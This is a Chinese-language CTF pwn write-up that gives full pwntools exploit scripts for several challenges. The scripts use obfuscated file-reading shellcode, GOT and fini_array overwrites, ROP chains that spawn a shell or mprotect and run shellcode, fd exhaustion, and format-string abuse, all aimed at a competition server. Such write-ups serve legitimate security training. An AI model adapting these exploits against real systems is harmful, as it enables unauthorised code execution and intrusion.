盲打1 盲打2 都是一个c语言解释器,但是不能用()
来写c语言,也就是不能调用函数,可以用shellcode的方式来写 orw flag,
原理参考对hello world的重新认识
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *import sysip, port = '183.129.189.60' ,10002 context(os='linux' , arch='amd64' ) ''' orw = asm(shellcraft.open("/home/ctf/flag", 0)) orw += asm(shellcraft.read(3, "rsp", 0x20)) orw += asm(shellcraft.write(1, "rsp", 0x20)) orw += asm(shellcraft.exit(0)) print '\\x'+hex(ord(orw[0]))[2:] ''' orw2=asm( """ mov rax,0x2c2c2c2c2c2c mov rbx,0x4b4d404a034a xor rax, rbx push rax mov rax,0x2c2c2c35352c2c2c mov rbx,0x584f035058434403 xor rax,rbx push rax mov rdi,rsp mov esi,0x0 mov eax,0x2 xor ecx,ecx syscall mov rdi,rax mov rsi,rsp mov rdx,0x50 xor rax,rax syscall mov rdi,0x1 mov rax,0x1 syscall """ ) print '\\x' +hex(ord(orw2[0 ]))[2 :]payload='const char main=' +str(hex(ord(orw2[0 ])))+',' for i in range(1 ,len(orw2)): if i != len(orw2)-1 : payload+='w' +str(i)+'=' +str(hex(ord(orw2[i])))+',' else : payload+='w' +str(i)+'=' +str(hex(ord(orw2[i])))+';' print payloadpause() p=remote(ip,port) p.recvuntil("(end with '@')" ) p.sendline(payload+'@' ) print payloadp.can_recv() p.interactive()
Memory Monster I 任意地址写,故意栈溢出然后会调用__stack_chk_fail
函数,修改__stack_chk_fail
的got表为后门即可
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *import syscontext.log_level = 'debug' pwn_name = "Memory_Monster_I" arch = '64' version = '2.23' ip, port = '183.129.189.60' ,10081 if sys.argv[1 ]=="l" : p=process('./' +pwn_name) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ,checksec=False ) else : p=remote(ip,port) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ,checksec=False ) elf=ELF(pwn_name,checksec=False ) def dbg (address=0 ) : if address==0 : gdb.attach(p) pause() else : if address > 0xfffff : script="b *{:#x}\n" .format(address) else : script="b *$rebase({:#x})\nc\n" .format(address) gdb.attach(p, script) p.recvuntil("addr:" ) sleep(0.1 ) p.send(p64(0x404028 )+"\x00" *0xc0 ) p.recvuntil("data:" ) sleep(0.1 ) p.send(p64(0x40124A )) sleep(0.1 ) p.interactive()
Memory Monster II 静态编译了,fini_array劫持为onegadget即可,onegadget苦苦找寻了好久,找到了一个有效的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *import syscontext.log_level = 'debug' pwn_name = "Memory_Monster_II" arch = '64' version = '2.23' ip, port = '183.129.189.60' ,10102 context(os='linux' , arch='amd64' ) if sys.argv[1 ]=="l" : p=process('./' +pwn_name) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ,checksec=False ) else : p=remote(ip,port) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ,checksec=False ) elf=ELF(pwn_name,checksec=False ) def dbg (address=0 ) : if address==0 : gdb.attach(p) pause() else : if address > 0xfffff : script="b *{:#x}\n" .format(address) else : script="b *$rebase({:#x})\nc\n" .format(address) gdb.attach(p, script) dbg(0x4B80B8 ) p.recvuntil("addr:" ) p.send(p64(0x4B80B0 )) p.recvuntil("data:" ) p.send(p64(0x46F37F )) p.interactive()
另一种做法参考fmmy 师傅题解
fini_array劫持
1 2 fini_array[0]:__libc_csu_fini fini_array[1]:main函数地址
之后则可以形成一个循环链,然后任意地址写,可以在fini_array[2]之后构建ROP链,最后再将fini_array[0]改成leave_ret,fini_array[1]改成ret执行后续ROP链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *p = process('./main' ) p = remote('183.129.189.60' ,10100 ) def m (address,content) : p.sendlineafter('addr:' ,p64(address)) p.sendafter('data:' ,content) m(0x4B80B0 ,p64(0x402CB0 ) + p64(0x401C1D )) pop_rdx_rsi = 0x44BAF9 mov_rax_rdx = 0x41B380 pop_rdi_ret = 0x401746 pop_rdx_ret = 0x448415 syscall = 0x46F745 binsh = 0x492895 leave_ret = 0x401CF3 ret = 0x401016 m(0x4B80B0 + 0x10 ,p64(pop_rdx_rsi) + p64(59 ) + p64(0 )) m(0x4B80B0 + 0x10 + 0x18 ,p64(mov_rax_rdx) + p64(pop_rdi_ret) + p64(binsh)) m(0x4B80B0 + 0x10 + 0x18 + 0x18 ,p64(pop_rdx_ret) + p64(0 ) + p64(syscall)) m(0x4B80B0 ,p64(leave_ret) + p64(ret)) p.interactive()
Memory Monster III 这道题当时没有做出来,赛后参考taqini师傅博客,有学到了新的姿势
通过利用fini_array部署并启动ROP攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import *import syscontext.log_level = 'debug' pwn_name = "Memory_Monster_III" arch = '64' version = '2.23' ip, port='183.129.189.60' ,10008 context(os='linux' , arch='amd64' ) if sys.argv[1 ]=="l" : p=process('./' +pwn_name) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ,checksec=False ) else : p=remote(ip,port) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ,checksec=False ) elf=ELF(pwn_name,checksec=False ) def dbg (address=0 ) : if address==0 : gdb.attach(p) pause() else : if address > 0xfffff : script="b *{:#x}\n" .format(address) else : script="b *$rebase({:#x})\nc\n" .format(address) gdb.attach(p, script) def m (address,content) : p.sendlineafter('addr:' ,p64(address)) p.sendafter('data:' ,content) m(0x4B50B0 ,p64(0x402CA0 ) + p64(0x401C1D )) pop_rdx_rsi = 0x44AB09 mov_rax_rdx = 0x41AE80 pop_rdi_ret = 0x401746 pop_rdx_ret = 0x447635 leave_ret = 0x401CF3 ret = 0x401016 mprotect = 0x448420 read = 0x447620 shell_a = 0x4BC100 shell = asm(shellcraft.sh()) m(0x4B50B0 + 0x10 ,p64(pop_rdi_ret) + p64(0 ) + p64(pop_rdx_rsi)) m(0x4B50B0 + 0x10 + 0x18 ,p64(0x200 ) + p64(shell_a) + p64(read)) m(0x4B50B0 + 0x10 + 0x18 + 0x18 ,p64(pop_rdi_ret) + p64(shell_a -0x100 ) + p64(pop_rdx_rsi)) m(0x4B50B0 + 0x10 + 0x18 + 0x18 + 0x18 ,p64(7 ) + p64(0x1000 ) + p64(mprotect)) m(0x4B50B0 + 0x10 + 0x18 + 0x18 + 0x18 + 0x18 ,p64(shell_a)) m(0x4B50B0 ,p64(leave_ret) + p64(ret) + p64(pop_rdi_ret)) p.sendline(shell) p.interactive()
secret2 文件描述符最多有1024个,也就是说最多打开文件1024多次,就不能继续打开了,则随机值之后全是0,因此输入”\x00”字节就能通过memcmp检测,然后close(0),memcpy栈溢出, 只能orw flag了,并且此题远程是2.30的。2.23本地调试的时候有点不同。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import *import syspwn_name = "secret3" arch = '64' version = '2.23' ip, port = '183.129.189.60' ,10056 if sys.argv[1 ]=="l" : p=process('./' +pwn_name) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ,checksec=False ) else : p=remote(ip,port) libc=ELF('libc6_2.30-0ubuntu2_amd64.so' ,checksec=False ) def info (con,leak) : success('{} => {:#x}' .format(con,leak)) elf=ELF(pwn_name,checksec=False ) def dbg (address=0 ) : if address==0 : gdb.attach(p) pause() else : if address > 0xfffff : script="b *{:#x}\n" .format(address) else : script="b *$rebase({:#x})\nc\n" .format(address) gdb.attach(p, script) def cus_rop (gadget1,gadget2,func_got,rdi,rsi,rdx) : payload = p64(gadget1) payload += p64(0 ) payload += p64(1 ) payload += p64(func_got) payload += p64(rdi) payload += p64(rsi) payload += p64(rdx) payload += p64(gadget2) payload += '\x00' *56 return payload rdi=0x40161b ret=0x401016 rsi_r15=0x401619 bss=elf.bss()+0x300 p.recvuntil("name? ________________ #" ) sleep(0.1 ) payload='a' +p64(0x4021df ) payload+=p64(rdi)+p64(0x4021df )+p64(rsi_r15)+p64(0 )+p64(0 )+p64(elf.plt["open" ]) payload+=cus_rop(0x401612 ,0x4015F8 ,elf.got['read' ],0 ,bss,64 ) payload+=p64(rdi)+p64(1 )+p64(elf.plt["write" ]) p.send(payload) for i in range(1255 ): print i payload="\x00" p.recvuntil("Secret: _____ #" ) p.send(payload) if i == 1254 : sleep(0.1 ) ''' leak=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) libc.address=leak-0x7fcb248f9690+0x7fcb2488a000 info("leak",leak) info("libc",libc.address) sleep(1) p.recv() ''' p.interactive()
easybabystack 这题比赛的时候也没做出来,参考fmyy师傅的题解
格式化字符串中 *$连用表示取对应偏移位置的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *context.log_level ='DEBUG' p= process('./main' ) p = remote('183.129.189.60' ,10001 ) p.sendlineafter('username:' ,'%*18$d%5$n' ) p.sendline('1' ) pop_rdi_ret = 0x401733 pop_rsi_r15 = 0x401731 binsh =0x404090 system = 0x401110 read_got = 0x404038 gadget_I = 0x40172A gadget_Ii = 0x401710 payload = 'U' *0x118 payload += p64(gadget_I) payload += p64(0 ) payload += p64(1 ) payload += p64(0 ) payload += p64(binsh) payload += p64(8 ) payload += p64(read_got) payload += p64(gadget_Ii) payload += p64(0 )*7 payload += p64(pop_rdi_ret) + p64(binsh) + p64(system) p.recvuntil('message' ) p.sendline(payload) p.send('/bin/sh\x00' ) p.interactive()